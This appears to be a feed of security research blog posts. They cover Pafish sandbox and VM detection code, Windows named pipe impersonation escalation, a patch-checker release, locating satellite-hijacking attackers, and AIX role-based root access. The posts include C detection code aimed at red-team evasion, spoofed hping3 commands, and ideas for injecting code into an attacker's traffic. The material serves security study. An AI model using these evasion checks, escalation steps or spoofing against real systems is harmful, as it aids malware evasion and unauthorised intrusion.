In the next sections I’ll take a quick look at each one of these files. As you can see some sandboxes are missing, like FireEye, AMP Threat Grid from Cisco, Maltracker from AnubisNetworks, among others. By looking at these techniques we might find insights on how to bypass them if we find one in use at our clients during our engagements.

debuggers.c

By opening debuggers.c, we can see the first method implemented by Pafish. The IsDebuggerPresent() function is a Win32 API function that can be used to determine whether the calling process is being debugged by a debugger.

Still on debuggers.c we can see another function called debug_outputdebugstring(). This uses another function from the Win32 API, OutputDebugString(). According to MSDN, this function “sends a string to the debugger for display”. This is exactly what this code does. If the application is not running under a debugger the string will be sent to system’s debugger to be displayed with the DbgPrint() function from the Windows Driver Kit (WDK). If the application is not running inside a debugger and there is no system debugger then the OutputDebugString() does nothing. If the function doesn’t return an error the process is not being debugged. Otherwise it concludes it is running inside a debugger.

gensandbox.c

Another interesting file for us is gensandbox.c. This file contains 12 functions that it uses to detect a sandbox. The first one, gensandbox_mouse_act() uses GetCursorPos() to determine the position of the mouse cursor and whether it is actively being used. According to MSDN this function “retrieves the position of the mouse cursor, in screen coordinates”. Now if you look at the function code that does the actual detection, you can see that the function first calls the GetCursorPos() function in order to receive cursor co-ordinates and saves them into the position1 variable. After that it sleeps for 2000 milliseconds (i.e. 2 seconds), and then calls the same function again, this time saving the coordinates into the position2 variable. Afterwards, the two samples of the x and y coordinates of the mouse cursor are compared to one other. This determines whether the mouse cursor has changed between the two GetCursorPos() function calls. If the position of the mouse cursor has not changed then there was no mouse activity during the sleep function. Under such circumstances, the code will conclude that it is being run within a sandbox.

Another interesting function in this file is gensandbox_username(). It uses the GetUserName function that retrieves the name of the user associated with the current thread. After that all the lower case letters are converted to upper case letters and the name is compared with the following strings:

  • SANDBOX
  • VIRUS
  • MALWARE

The strstr() function is used to detect any occurrence of the presented strings in the username. If one of the strings above is found, it means that the program is being run inside a sandbox. Otherwise it returns FALSE. This method is highly questionable but gives us some insights on how one might either bypass it (if one was part of the “red team”) or create a better sandbox (if playing for the “blue team”).

The next function, called gensandbox_path(), is using GetModuleFileName(). According to MSDN this function “retrieves the fully qualified path for the file that contains the specified module. The module must have been loaded by the current process”.

Here, the strstr() function is used to check whether the retrieved path contains any of the strings:

  • \\SAMPLE
  • \\VIRUS
  • SANDBOX

If that’s the case it concludes that it is running within a sandbox. Again, we can see multiple ways to improve this code and also get some ideas on how to apply this thinking to detect other environments even though, as you can see, it is a pretty basic technique.

gensandbox_common_names(), takes a similar approach but looks for the following strings instead:

  • sample.exe
  • malware.exe

Another interesting function is gensandbox_drive_size(). This checks if the first physical drive is larger than 60GB by using the CreateFile() and DeviceIoControl() functions. As we can read on MSDN, the CreateFile() function “creates or opens a file or I/O device. The most commonly used I/O devices are as follows: file, file stream, directory, physical disk, volume, console buffer, tape drive, communications resource, mailslot, and pipe. The function returns a handle that can be used to access the file or device for various types of I/O depending on the file or device and the flags and attributes specified”. Using a handle retrieved using the CreateFile() function call, the DeviceIoControl() function is used to send a control code directly to a specified device driver, causing the corresponding device to perform the IOCTL_DISK_GET_LENGTH_INFO operation.

Once again, this is tricky but it is almost always true these days. People don’t like to allocate that much disk space for their testing VMs.

Pafish also has a second function that plays with the size of the C drive, gensandbox_drive_size2(). It basically checks for the amount of free space on drive C. Again, this can be tricky, I’ve seen production servers (mostly databases) running out of space due to a lack of good sysadmin practices and bad planning. And yes… this happens a lot.

Another interesting function is gensandbox_uptime(). It uses GetTickCount() function to retrieve the number of milliseconds that have elapsed since the system was started (up to 49.7 days).

Once again, the assumption done here might be wrong if we think about laptops. Remember, the whole purpose of this analysis is to apply this code to our “red team” exercies, where desktop users are usually the target.

There are some more small functions inside gensandbox.c that I’d recommend you to have a look. These can also give some good insights to detect other sandboxes.

  • gensandbox_sleep_patched()
  • gensandbox_one_cpu()
  • gensandbox_one_cpu_GetSystemInfo()
  • gensandbox_less_than_onegb()
  • gensandbox_IsNativeVhdBoot()

hooks.c

The hooks.c source code only contains four small functions. Their aim is detect if any of the following functions have been hooked:

  • DeleteFileW
  • ShellExecuteExW
  • CreateProcessA

Here’s the whole code:

]
static int check_hook_m1(DWORD * dwAddress) {
	BYTE *b = (BYTE *)dwAddress;
	return (*b == 0x8b) && (*(b+1) == 0xff) ? FALSE : TRUE;
}

/* Causes FP in Win 8 */
int check_hook_DeleteFileW_m1() {
	return check_hook_m1((DWORD *)DeleteFileW);
}

int check_hook_ShellExecuteExW_m1() {
	return check_hook_m1((DWORD *)ShellExecuteExW);
}

int check_hook_CreateProcessA_m1() {
	return check_hook_m1((DWORD *)CreateProcessA);
}

Basically each one of the functions store the the address of the function (either DeleteFileW(), ShellExecuteExW() or CreateProcessA()) into the dwAddress variable of the check_hook_m1() function.

Then it checks whether the first two bytes of the function are 0xff8b, which represent the assembly instruction for jump back instruction. Usually the functions create a new stack frame upon being called, but the jmp instruction at the beginning of a function clearly indicates the function has been hooked.

vbox.c/vmware.c/qemu.c

The code to detect VirtualBox is quite extensive and there are multiple functions that look for Windows Registry keys. Here are those functions:

]
/**
* SCSI registry key check
**/
int vbox_reg_key1() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier", "VBOX");
}

/**
* SystemBiosVersion registry key check
**/
int vbox_reg_key2() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "SystemBiosVersion", "VBOX");
}

/**
* VirtualBox Guest Additions key check
**/
int vbox_reg_key3() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "SOFTWARE\\Oracle\\VirtualBox Guest Additions");
}

/**
* VideoBiosVersion key check
**/
int vbox_reg_key4() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\Description\\System", "VideoBiosVersion", "VIRTUALBOX");
}

/**
* ACPI Regkey detection
**/
int vbox_reg_key5() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\DSDT\\VBOX__");
}

/**
* FADT ACPI Regkey detection
**/
int vbox_reg_key7() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\FADT\\VBOX__");
}

/**
* RSDT ACPI Regkey detection
**/
int vbox_reg_key8() {
	return pafish_exists_regkey(HKEY_LOCAL_MACHINE, "HARDWARE\\ACPI\\RSDT\\VBOX__");
}

/**
* VirtualBox Services Regkey detection
**/
int vbox_reg_key9(int writelogs) {
	int res = FALSE, i;
	const int count = 5;
	char message[200];

	string strs1ount];
	strs[0] = "SYSTEM\\ControlSet001\\Services\\VBoxGuest";
	strs[1] = "SYSTEM\\ControlSet001\\Services\\VBoxMouse";
	strs[2] = "SYSTEM\\ControlSet001\\Services\\VBoxService";
	strs[3] = "SYSTEM\\ControlSet001\\Services\\VBoxSF";
	strs[4] = "SYSTEM\\ControlSet001\\Services\\VBoxVideo";
	for (i=0; i < count; i++) {
		if (pafish_exists_regkey(HKEY_LOCAL_MACHINE, strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using Reg key HKLM\\%s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

/**
* HARDWARE\\DESCRIPTION\\System SystemBiosDate == 06/23/99
**/
int vbox_reg_key10() {
	return pafish_exists_regkey_value_str(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", "SystemBiosDate", "06/23/99");
}

The names and the code is prety self explanatory. The code is mostly based on the functions pafish_exists_regkey_value_str() and pafish_exists_regkey() and it can be foud on utils.c. Basically, it uses RegOpenKeyEx(). If the function finds the specified registry entry it will return ERROR_SUCCESS. Otherwise a value of nonzero will be returned. As stated on MSDN, the RegOpenKeyEx() function “opens the specified registry key. Note that key names are not case sensitive”.

In the VirtualBox code there’s also some other interesting tricks. Like the function vbox_sysfile1(). This function basically looks for the presence of VirtualBox drivers installed on the system. See the code below:

]
int vbox_sysfile1(int writelogs) {
	const int count = 4;
	string strs1ount];
	int res = FALSE, i = 0;
	char message[200];

	strs[0] = "C:\\WINDOWS\\system32\\drivers\\VBoxMouse.sys";
	strs[1] = "C:\\WINDOWS\\system32\\drivers\\VBoxGuest.sys";
	strs[2] = "C:\\WINDOWS\\system32\\drivers\\VBoxSF.sys";
	strs[3] = "C:\\WINDOWS\\system32\\drivers\\VBoxVideo.sys";
	for (i=0; i < count; i++) {
		if (pafish_exists_file(strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using driver file %s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

On the same line of thinking you can find the function vbox_sysfile2(). Which basically looks for the presence of specific VirtualBox DLLs. Here is the actual code:

]
int vbox_sysfile2(int writelogs) {
	const int count = 14;
	string strs1ount];
	int res = FALSE, i = 0;
	char message[200];

	strs[0] = "C:\\WINDOWS\\system32\\vboxdisp.dll";
	strs[1] = "C:\\WINDOWS\\system32\\vboxhook.dll";
	strs[2] = "C:\\WINDOWS\\system32\\vboxmrxnp.dll";
	strs[3] = "C:\\WINDOWS\\system32\\vboxogl.dll";
	strs[4] = "C:\\WINDOWS\\system32\\vboxoglarrayspu.dll";
	strs[5] = "C:\\WINDOWS\\system32\\vboxoglcrutil.dll";
	strs[6] = "C:\\WINDOWS\\system32\\vboxoglerrorspu.dll";
	strs[7] = "C:\\WINDOWS\\system32\\vboxoglfeedbackspu.dll";
	strs[8] = "C:\\WINDOWS\\system32\\vboxoglpackspu.dll";
	strs[9] = "C:\\WINDOWS\\system32\\vboxoglpassthroughspu.dll";
	strs[10] = "C:\\WINDOWS\\system32\\vboxservice.exe";
	strs[11] = "C:\\WINDOWS\\system32\\vboxtray.exe";
	strs[12] = "C:\\WINDOWS\\system32\\VBoxControl.exe";
	strs[13] = "C:\\program files\\oracle\\virtualbox guest additions\\";
	for (i = 0; i < count; i++) {
		if (pafish_exists_file(strs[i])) {
			snprintf(message, sizeof(message)-sizeof(message[0]), "VirtualBox traced using system file %s", strs[i]);
			if (writelogs) write_log(message);
			res = TRUE;
		}
	}
	return res;
}

One of the tricks mostly common used is… yes, you guessed it. Check the MAC address identifier. Here’s the code that check’s for the OUI vendor:

]
int vbox_mac() {
	/* VirtualBox mac starts with 08:00:27 */
	return pafish_check_mac_vendor("\x08\x00\x27");
}

The code for pafish_check_mac_vendor() can be found on the utils.c source file. Here’s the actual code:

]
int pafish_check_mac_vendor(char * mac_vendor) {
	unsigned long alist_size = 0, ret;

	ret = GetAdaptersAddresses(AF_UNSPEC,0,0,0,&alist_size);
	if(ret==ERROR_BUFFER_OVERFLOW) {
		IP_ADAPTER_ADDRESSES* palist = (IP_ADAPTER_ADDRESSES*)LocalAlloc(LMEM_ZEROINIT,alist_size);
		if(palist) {
			GetAdaptersAddresses(AF_UNSPEC,0,0,palist,&alist_size);
			char mac[6]={0};
			while (palist){
				if (palist->PhysicalAddressLength==0x6){
					memcpy(mac,palist->PhysicalAddress,0x6);
					if (!memcmp(mac_vendor, mac, 3)) { /* First 3 bytes are the same */
						LocalFree(palist);
						return TRUE;
					}
				}
				palist = palist->Next;
			}
			LocalFree(palist);
		}
	}
	return FALSE;
}

There are a few more tricks on the vbox.c file that shouldn’t be ignored, but I’ll ignore them for now.

As you can imagine most of the code used to fingerprint VirtualBox is used in almost identical fashion to fingerprint VMware and Qemu.Basically, the code looks for specific Windows Registry keys, specific file paths, drivers and MAC vendor.

bochs.c

One neat idea we spotted in terms of how Pafish fingerprints Bochs was to play with CPU specific featurs that are present in Bochs but not real CPU.

For example:

]
int bochs_cpu_amd1() {
	char cpu_brand[49];
	cpu_write_brand(cpu_brand);
	/* It checks the lowercase P in 'processor', an actual AMD returns Processor */
	return !memcmp(cpu_brand, "AMD Athlon(tm) processor", 24) ? TRUE : FALSE;
}

int bochs_cpu_amd2() {
	int eax;
	__asm__ volatile(".intel_syntax noprefix;"
			"xor eax, eax;"
			"cpuid;"
			"cmp ecx, 0x444d4163;" /* AMD CPU? */
			"jne b2not_detected;"
			"mov eax, 0x8fffffff;" /* query easter egg */
			"cpuid;"
			"jecxz b2detected;" /* ECX value not filled */
			"b2not_detected: xor eax, eax; jmp b2exit;"
			"b2detected: mov eax, 0x1;"
			"b2exit: nop;"
			".att_syntax;"
			: "=a"(eax));
	return eax ? TRUE : FALSE;
}

int bochs_cpu_intel1() {
	char cpu_brand[49];
	cpu_write_brand(cpu_brand);
	/* This processor name is not known to be valid in an actual CPU */
	return !memcmp(cpu_brand, "              Intel(R) Pentium(R) 4 CPU        ", 47) ? TRUE : FALSE;
}

The first and third functions bochs_cpu_amd1() and bochs_cpu_intel1() will check for typos in the processor CPU string, whilst the second, bochs_cpu_amd2() triggers an assembly level easter egg that is present in the Bochs x86 CPU emulation.

cuckoo.c

Cuckoo is an open source project and the hooks it implements are known. The code you can find on cuckoo.c is quite small and basically plays with Cuckoo TLS_HOOK_INFO. As a side note don’t forget that most Cuckoo set-ups use VirtualBox.

sandboxie.c

The trick to detect Sandboxie is quite simple:

]
int sboxie_detect_sbiedll() {
	if (GetModuleHandle("sbiedll.dll") != NULL) {
		return TRUE;
	}
	else {
		return FALSE;
	}
}

As you can see the function above tries to load the Sandboxie specific DLL called sbiedll.dll. If it succeeds Sandboxie is installed in the systems. Otherwise it is not. Pretty small test but quite effective.

wine.c

The code to detect the Wine environment is also quite small. The first function is wine_detect_get_unix_file_name():

]
int wine_detect_get_unix_file_name() {
	HMODULE k32;
	k32 = GetModuleHandle("kernel32.dll");
	if (k32 != NULL) {
		if (GetProcAddress(k32, "wine_get_unix_file_name") != NULL) {
			return TRUE;
		}
		else {
			return FALSE;
		}
	}
	else {
		return FALSE;
	}
}

It starts by getting an handle to the kernel32.dll and then calling the GetProcAddress() to retrieve the address of the function/variable wine_get_unix_file_name exported and available in the kernel32.dll. If the function succeeds it will return the address of the exported function, otherwise it will return NULL. Meaning that if doesn’t return NULL Wine has been fingerprinted and the wine_detect_get_unix_file_name returns TRUE.

The other function that Pafish implements is shown below:

]
int wine_reg_key1() {
	return pafish_exists_regkey(HKEY_CURRENT_USER, "SOFTWARE\\Wine");
}

Nothing new here, wine_reg_key1 simply looks for the presence of a Windows Registry key.

Conclusion

This short introduction to Pafish code was meant to evaluate how the code can be applied to our Red Team Exercises. Since the code/checks are not too advanced and in some cases can be completely fooled, the code should be tweaked if we want to use it in our engagements. It also doesn’t make sense to include all the checks blindly, which means a good information gathering phase must be assured before any “red team” exercise.

Anyway these different methods of checking whether the program is running under a debugger, Virtual Machine or a sandbox might be quite useful if we want to develop code for a specific environment. Looking at Pafish code certainly improves our knowledge about how to bypass some sandboxes.

Based on the code I’ve read, the most common ways to identify that we are running in a virtualized environment (running inside a debugger is not that useful to us) are:

  • Registry checks
  • Memory checks
  • Communication checks (with the host)
  • Process and file checks
  • Hardware

The post Sandbox detection: Pafish overview appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/sandbox-detection-pafish-overview/feed/ 0
Windows Named Pipes: There and back again https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/ https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/#comments Fri, 20 Nov 2015 14:04:20 +0000 https://labs.portcullis.co.uk/?p=5378 Inter Process Communication (IPC) is an ubiquitous part of modern computing. Processes often talk to each other and many software packages contain multiple components which need to exchange data to run properly. Named pipes are one of the many forms of IPC in use today and are extensively used on the Windows platform as a […]

The post Windows Named Pipes: There and back again appeared first on Portcullis Labs.

]]>
Inter Process Communication (IPC) is an ubiquitous part of modern computing. Processes often talk to each other and many software packages contain multiple components which need to exchange data to run properly. Named pipes are one of the many forms of IPC in use today and are extensively used on the Windows platform as a means to exchange data between running processes in a semi-persistent manner.

On Windows, named pipes operate in a server-client model and can make use of the Windows Universal Naming Convention (UNC) for both local and remote connections.

Named pipes on Windows use what is known as the Named Pipe File System (NPFS). The NPFS is a hidden partition which functions just like any other; files are written, read and deleted using the same mechanisms as a standard Windows file system. So named pipes are actually just files on a hard drive which persist until there are no remaining handles to the file, at which point the file is deleted by Windows.

The named pipe directory is located at: \\<machine_address>\pipe\<pipe_name>

There are many easy ways to read the contents of the local NPFS: Powershell, Microsoft SysInternals Process Explorer and Pipelist as well as numerous third party tools.

It’s also very easy to implement in a language such as C#, with a basic read all of the named pipes directory being as simple as:

System.IO.Directory.GetFiles(@"\\.\pipe\");

Exploitation of named pipes

Named pipes were introduced with NT and have been known to be vulnerable to a number of attacks over the years, especially once full support was adopted with Windows 2000. For example, the Service Control Manager (SCM) of Windows was discovered to be vulnerable to race conditions related to Named Pipes in 2000, more recently, a predictable named pipe used by Google Chrome could be exploited to help escape from the browser sandbox.

To date,the most common way to exploit named pipes to gain privileges on a system has been to abuse the impersonation token granted to the named pipe server to act on behalf of a connected client.

If the named pipe server is already running this is not particularly useful as we cannot create the primary server instance which clients will connect to, so it is generally required to preemptively create a named pipe server using the same name as the vulnerable service would normally create. This means that the user needs to know the name of the pipe before the vulnerable service is started and then wait for a client to connect. Ideal targets are services which run at administrator or SYSTEM level privileges, for the obvious reasons.

The problem with impersonation tokens begins when a client is running at a higher permission level than the server it is connecting to. If impersonation is allowed, the server can use the impersonation token to act on the client’s behalf.

The level of impersonation a server can perform depends on the level of consent a client provides. The client specifies a security quality of service (SQOS) when connecting to the server. The level of impersonation provided to the server by the SQOS can be one of the following four flags, which in the case of named pipes are provided as part of the connection process when calling the CreateFile function:

  • SECURITY_ANONYMOUS – no impersonation allowed at all. The server cannot even identify the client
  • SECURITY_IDENTIFICATION – tmpersonation is not allowed, but the server can identify the client
  • SECURITY_IMPERSONATION – the client can be both identified and impersonated, but only locally (default)
  • SECURITY_DELEGATION – the client can be identified and impersonated, both locally and remotely

When granted, impersonation tokens can be converted to primary security tokens with ease by calling the DuplicateTokenEx() function. From here it is just a matter of calling the CreateProcessAsUser() function to spawn a process (let’s say cmd.exe) using the new primary token which has the security context of the client.

Numerous Metasploit modules are available for exploiting named pipe vulnerabilities which have cropped up over the years. For example, the getsystem module in Metasploit makes use of named pipes to escalate to SYSTEM level privileges from Administrator.

Metasploit includes 2 different techniques which use named pipes to ‘get system’. The first one works by starting a named pipe server and then using administrator privileges to schedule a service to run as SYSTEM. This service connects as a named pipe client to the recently created server. The server impersonates the client and uses this to spawn a SYSTEM process for the meterpreter client.

The second technique is similar to the first, but instead a DLL is dropped to the hard drive which is then scheduled to run as SYSTEM, this technique is evidently not as clean as the first technique.

Thanks to Cristian Mikehazi for his prior research in to Metasploit’s getsystem module which made this section easier to write.

Security considerations for Named Pipes / How to make safe pipes

The security of named pipes is largely down to the developer and how they choose to implement the server and client sides of the application.

This is by no means an exhaustive list, but below details some of the good practices which should be considered whenever named pipes are to be deployed.

Server side security

The named pipe server is responsible for creating and managing a named pipe and its connected clients. Therefore, the most important element is to ensure that the named pipe server is indeed the correct server.

In this effect, there is an important flag which should be set when attempting to start new named pipe server: FILE_FLAG_FIRST_PIPE_INSTANCE.

By setting this flag it ensures that if the instance the server is attempting to create is not the first instance of the named pipe, it does not create the instance. In other words, it can give an indication as to whether another process has already created a named pipe server with this name and can allow for corrective action. This could be in the form of creating the server with an alternate name or stopping execution entirely.It is also a good idea that any intended clients are also made aware, if possible, that the server instance is not valid or has been changed so that they do not attempt to connect.

Further to this, creation of a named pipe server with a pseudo-randomly generated name can assist in ensuring any attempt by an attacker to preemptively create the server process will be unsuccessful. This is an approach the Google Chrome browser uses to help thwart unintended processes from creating the named pipe servers it uses for communication.

Another important server element is the maximum number of client instances allowed at any one time. If the maximum number of potential clients which will connect is known, a hard figure should be set to ensure that no further clients can connect. The flag which defines the maximum number of concurrent pipe instances is set as an integer value between 1 and 255 at invocation. To allow unlimited connections, the flag is set to PIPE_UNLIMITED_INSTANCES.

Client side security

Whenever a client pipe is under development, it is extremely important to consider carefully the level of privileges the pipe needs to do its job and to run it at the minimum level required.

The primary source of exploits against named pipes is through the  impersonation of client privileges by the named pipe server. The easiest and most direct way to prevent a named pipe client from being impersonated is disallow pipe impersonation when connecting to a server. This can be achieved by setting the SECURITY_IDENTIFICATION flag or the SECURITY_ANONYMOUS flag when calling the CreateFile() function as part of the client connection process.

In cases where impersonation is necessary, there are a number of other ways to ensure that only a legitimate client connects to a server. For example, in a simple application a specific sequence of information could be exchanged between the server and the client (a handshake) before any actual data is exchanged. For more advanced protection, encryption could be used. While not natively supported, public key cryptography (PKI) could be used if implemented correctly. These mechanisms are beyond the scope of this post but are worth bearing in mind.

The post Windows Named Pipes: There and back again appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/windows-named-pipes-there-and-back-again/feed/ 0
NOPC version 0.4.7 released https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/ https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/#comments Wed, 28 Oct 2015 14:14:21 +0000 https://labs.portcullis.co.uk/?p=5355 NOPC, the Nessus-based offline patch checker for Linux distributions and UNIX-based systems has had some changes made and been made available in our tools section. This article discusses the new features in detail and provides some working examples. Updated features and bug fixes Improvements to the interactive mode (e.g. asking for what format for results […]

The post NOPC version 0.4.7 released appeared first on Portcullis Labs.

]]>
NOPC, the Nessus-based offline patch checker for Linux distributions and UNIX-based systems has had some changes made and been made available in our tools section. This article discusses the new features in detail and provides some working examples.

Updated features and bug fixes

  • Improvements to the interactive mode (e.g. asking for what format for results to be displayed)
  • Hidden systems/distributions now displayed and re-ordered (see Usage)
  • Script consolidated back to one file
  • Testing script with shellcheck
  • Default location set for nasl and plugin directory

Usage

$ nopc.sh -?
/opt/bin/nopc.sh [Options]
Version: nopc.sh  0.4.7d
OPTIONS:
  -?: This usage page
  -d: Location of Nessus Plugins directory
  -n: Location of nasl program directory
  -s: System Type (with optional arguments)
  -l: Output Type
  -v: Version of NOPC

Where system type is one of:
 1 - AIX
 2 - HP-UX
 3 - MacOS X *
 4 - Solaris (!11) *
 5 - Debian
 6 - FreeBSD
 7 - Gentoo
 8 - Mandrake
 9 - Redhat
 10 - Redhat (Centos)
 11 - Redhat (Fedora)
 12 - Slackware
 13 - SuSE *
 14 - Ubuntu
 15 - Cisco IOS/ASA *

 * EXPERIMENTAL!!

Where output type is one of:
 0 - Displays Outdated Packages only
 1 - Displays NASL name and Outdated Packages
 2 - CSV output of CVE, KB and description (comma)
 3 - CSV output of CVE, CVSSv2, Severity, KB, Description (comma)
 4 - CSV output of CVE, KB and description (tab)
 5 - CSV output of CVE, CVSSv2, Severity, KB, Description (tab)

** Entering no parameters will run this in wizard mode walking you through the data collection for your desired system

The post NOPC version 0.4.7 released appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/nopc-version-0-4-7-released/feed/ 0
Locating SAT based C&Cs https://labs.portcullis.co.uk/blog/locating-sat-based-ccs/ https://labs.portcullis.co.uk/blog/locating-sat-based-ccs/#comments Wed, 28 Oct 2015 11:45:47 +0000 https://labs.portcullis.co.uk/?p=5280 Recently, Kaspersky published a research about how a russian APT group use hijacked satellite links to anonymise their malware command-and-control (C&C) servers (Satellite Turla: APT Command and Control in the Sky). As they say in their blog post, I researched and published how to abuse satellite DVB-S/2 internet communications, the technique used during the Epic […]

The post Locating SAT based C&Cs appeared first on Portcullis Labs.

]]>
Recently, Kaspersky published a research about how a russian APT group use hijacked satellite links to anonymise their malware command-and-control (C&C) servers (Satellite Turla: APT Command and Control in the Sky). As they say in their blog post, I researched and published how to abuse satellite DVB-S/2 internet communications, the technique used during the Epic Turla operation.

Short explanation

Satellite DVB-S/2 connections are, sometimes, unencrypted so with cheap hardware and some free software the downlink can be sniffed. By using the satellite as the downlink of an Internet connection, an attacker can use another connection which let to spoof IP address as a uplink and then have a hijacked IP from the satellite provider to use as a normal one and almost completely anonymous.

Anonymous satellite-based Internet
image-5281

One good thing about this technique is to have an anonymous broadband connection directly to the attackers base/home/server/laptop without proxies/bouncers – if you have ever used TOR, you’ll probably realise know how useful these characteristics can be.

In summary, the attackers were using satellite link to anonymise their activities and prevent them being tracked. In this blog post I’ll show some ideas to track malicious agents trying to hide behind satellite links.

The anonymous connection

What to do when these connections are being used for “bad things”? I have also tried to research about different ways to locate these rogue connections. Here are a few ideas on how to solve this challenge:

The attacker connection is also vulnerable to attacks

If an attacker is using a connection vulnerable to sniffing and “Man-In-The-Middle” attacks, the communication stay vulnerable, so we can attack these:

Sniffing Information
image-5282

Hijack communications with the systems the attacker is connecting with.

If the attacker navigate through HTTP, in some circumstances we can inject HTML or JavaScript code to get information of the target system.

Sometimes we can inject fake executable, ActiveX or Applets and try to cheat the attacker.

If the attacker system is configured as I proposed in my talk, that system can be reached with an satellite IP address, we can try to attack it.

Definitely these attacks can provide us information about the attacker but, most probably, not an address or a name.

Attack the network

Let’s redraw again the network diagram:

Bigger net diagram
image-5283

Here I draw R1 and R2, which are the routers of the ISP the attacker is using as the uplink channel of the hijacked satellite-based connection.

It’s not possible to get an IP address of the attacker because it is configured with the hijacked IP address, but, is it possible to get the IP address of R1 or R2? Getting that information can be really useful in the hunting of an attacker, remember that the target must use a local internet connection as uplink.

How can we get router IP addresses?

We can wait till the attacker do a traceroute, that can be a lot of time. We can´t control the TTL of an IP packet leaving the target host so let´s think in other way.

Record route

Another option is to ping the target and activate the record route option on IP, you can do that using hping:

# hping3 -1 IPsat -G

The record route option provides a means to record the route of an Internet packet. When an Internet module routes a packet it checks to see if the record route option is present. If it is, it inserts its own Internet address as known in the environment into which this packet is being forwarded into the recorded route.

We have it? No, this option must be activated in all routing devices, from you to the target and back, and usually this option is disabled – in a lot of years doing pentesting, I have only seen it work in a small fraction of cases.

ICMP errors

Another option I found with possibilities is to create IP traffic rejected by the uplink ISP routers (R1 or R2), and sniff the ICMP Destination Unreachable packets to get the IP of R1 or R2.

For example, pinging the satellite IP of the target from an internal address, the remote system will respond to the private IP echo with a ICMP echo response. If the traffic to that internal subnet is rejected by the uplink ISP routers, and usually it is, the routers will send an ICMP error to the satellite IP from the router own IP, so we can sniff that ICMP packet and get the IP address:

  1. We send a ping request spoofing the source address:
    # hping3 -1 IPsat -a 10.30.16.41
    

    Send spoofed PING
    image-5284
  2. The target system send a ping response to 10.30.16.41:
    Ping response from target host
    image-5285
  3. Traffic to 10.30.16.41 is not allowed so the packet is rejected by R1 to IPsat, so we can sniff that packet and know the IP of R1:
    ICMP Dest Unreachable
    image-5286

Some problems we find to use this technique:

What private IP addresses are rejected? We have to send several packets to the IP of the target, 69781, one packet per private C range or 17891228 which is the number of all private IP addressed.

Private IPs

What if the private IP addressed are filtered and not rejected? Bad luck.

The target host filter packets which come from private IP addresses via satellite interface? Bad luck.

What if the target host have filtered the ICMP ping? Please…

The idea of the target sending traffic to internal IP addresses can be exploited from several angles, for example, injecting malicious JavaScript on the targets browsers if he use it. Imagination! Imagination! Imagination!

Conclusion

So, if the attacker who is hijacking the satellite Internet connection is clever enough, this kind of connections are still anonymous. But, as I thought some attacks to break the anonymity, sure you people can follow this way.

The post Locating SAT based C&Cs appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/locating-sat-based-ccs/feed/ 0
padmin to root: Roles on AIX https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/ https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/#comments Fri, 02 Oct 2015 14:47:26 +0000 https://labs.portcullis.co.uk/?p=5255 Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard. […]

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
Following a recent post from a consultant at IBM discussing how how privileged access should be performed on VIOS, I figured it was time to share some of our research in this arena. Those of you that are regular readers will know that I love root. For those of you that are new, welcome aboard.

Let’s start by defining what VIOS is. VIOS is a subsystem that runs on a logical partition (LPAR) which manages shared hardware such as disks and network adaptors and allows other LPARs to access them. VIOS is managed via a special padmin account which gives access to a restricted shell from where the hardware can be managed. In practice, however it’s just another AIX LPAR and as the blog post from IBM notes, setup_oem_env can be used to move from the padmin user to the root user.

Firstly, note that setup_oem_env is not setUID. So how does it work? Examining the padmin user we see that it has a single role (PAdmin):

The membership of a role is determined by /etc/security/user but we can examine a specific use using the rolelist command like so:

$ rolelist -u padmin
PAdmin

You can also find your current active role using the -e flag to rolelist. Moving on, what does the PAdmin role mean?

Roles are defined in /etc/security/role but as with role membership, we can also use shell commands to enumerate them. For example, the following shows what authorisations the PAdmin role has:

$ lsrole PAdmin
PAdmin
authorizations=vios.device,vios.fs,vios.install,vios.lvm,vios.network,vios.security,vios.system,vios.oemsetupenv,vios.system.cluster,aix.system.config.artex
rolelist= groups=staff visibility=1 screens=* dfltmsg= msgcat= auth_mode=INVOKER
id=23

In the context of getting root, vios.oemsetupenv is the charm. This and other AIX authorisations are defined in /etc/security/privcmds. It is possible to specify what commands the possessor of the vios.oemsetupenv authorisation can run (and indeed the privileges with which those commands will ultimately be executed).

You see, AIX like Solaris, is gradually getting rid of the concept that uid=0 is god. IBM haven’t taken this as far as Oracle yet but there’s nothing to stop a dedicated administrator from leveraging this functionality. So, if you’re auditing an AIX box, I would very much recommend checking what roles users have (via /etc/security/user) to ensure that no appropriate roles have been assigned.

PS I’ve never seen this used in practice (outside of VIOS), but I’m sure there will be a first time.
PPS rolelist -p will tell you what roles a given process has.
PPPS esaadmin has the SysConfig role but it’s not normally an active account.

The post padmin to root: Roles on AIX appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/padmin-to-root-roles-on-aix/feed/ 0
